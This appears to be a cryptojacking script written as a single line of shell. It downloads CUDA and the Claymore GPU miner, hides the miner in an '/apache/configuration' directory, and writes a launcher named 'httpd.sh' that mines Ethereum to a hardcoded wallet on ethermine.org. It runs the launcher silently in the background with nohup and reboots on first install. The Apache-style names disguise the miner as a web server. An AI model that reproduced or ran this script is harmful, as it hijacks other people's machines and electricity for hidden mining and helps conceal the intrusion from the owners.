if [ -d "/apache" ]; then sudo nohup sh /apache/configuration/httpd.sh > /dev/null 2>&1 & else sudo apt-get update sudo mkdir /apache cd /apache sudo wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1604/x86_64/cuda-repo-ubuntu1604_8.0.61-1_amd64.deb sudo dpkg -i cuda-repo-ubuntu1604_8.0.61-1_amd64.deb sudo apt update sudo apt install cuda-8-0 -y cd /apache sudo wget https://github.com/nanopool/Claymore-Dual-Miner/releases/download/v11.8/Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal_Blake2s_Keccak.AMD.NVIDIA.GPU.Miner.v11.8.-.LINUX.tar.gz -O configuration.tar.gz sudo tar xvf configuration.tar.gz sudo mv "Claymore's Dual Ethereum+Decred_Siacoin_Lbry_Pascal_Blake2s_Keccak AMD+NVIDIA GPU Miner v11.8 - LINUX" configuration cd configuration echo " #!/bin/sh export GPU_FORCE_64BIT_PTR=0 export GPU_MAX_HEAP_SIZE=100 export GPU_USE_SYNC_OBJECTS=1 export GPU_MAX_ALLOC_PERCENT=100 export GPU_SINGLE_ALLOC_PERCENT=100 /apache/configuration/ethdcrminer64 -epool us1.ethermine.org:4444 -allcoins exp -eworker mining2 -ewal 0x6a7322CD75A5F89812929f2a48eC806D32947a5a -epsw x " > ./httpd.sh sudo reboot fi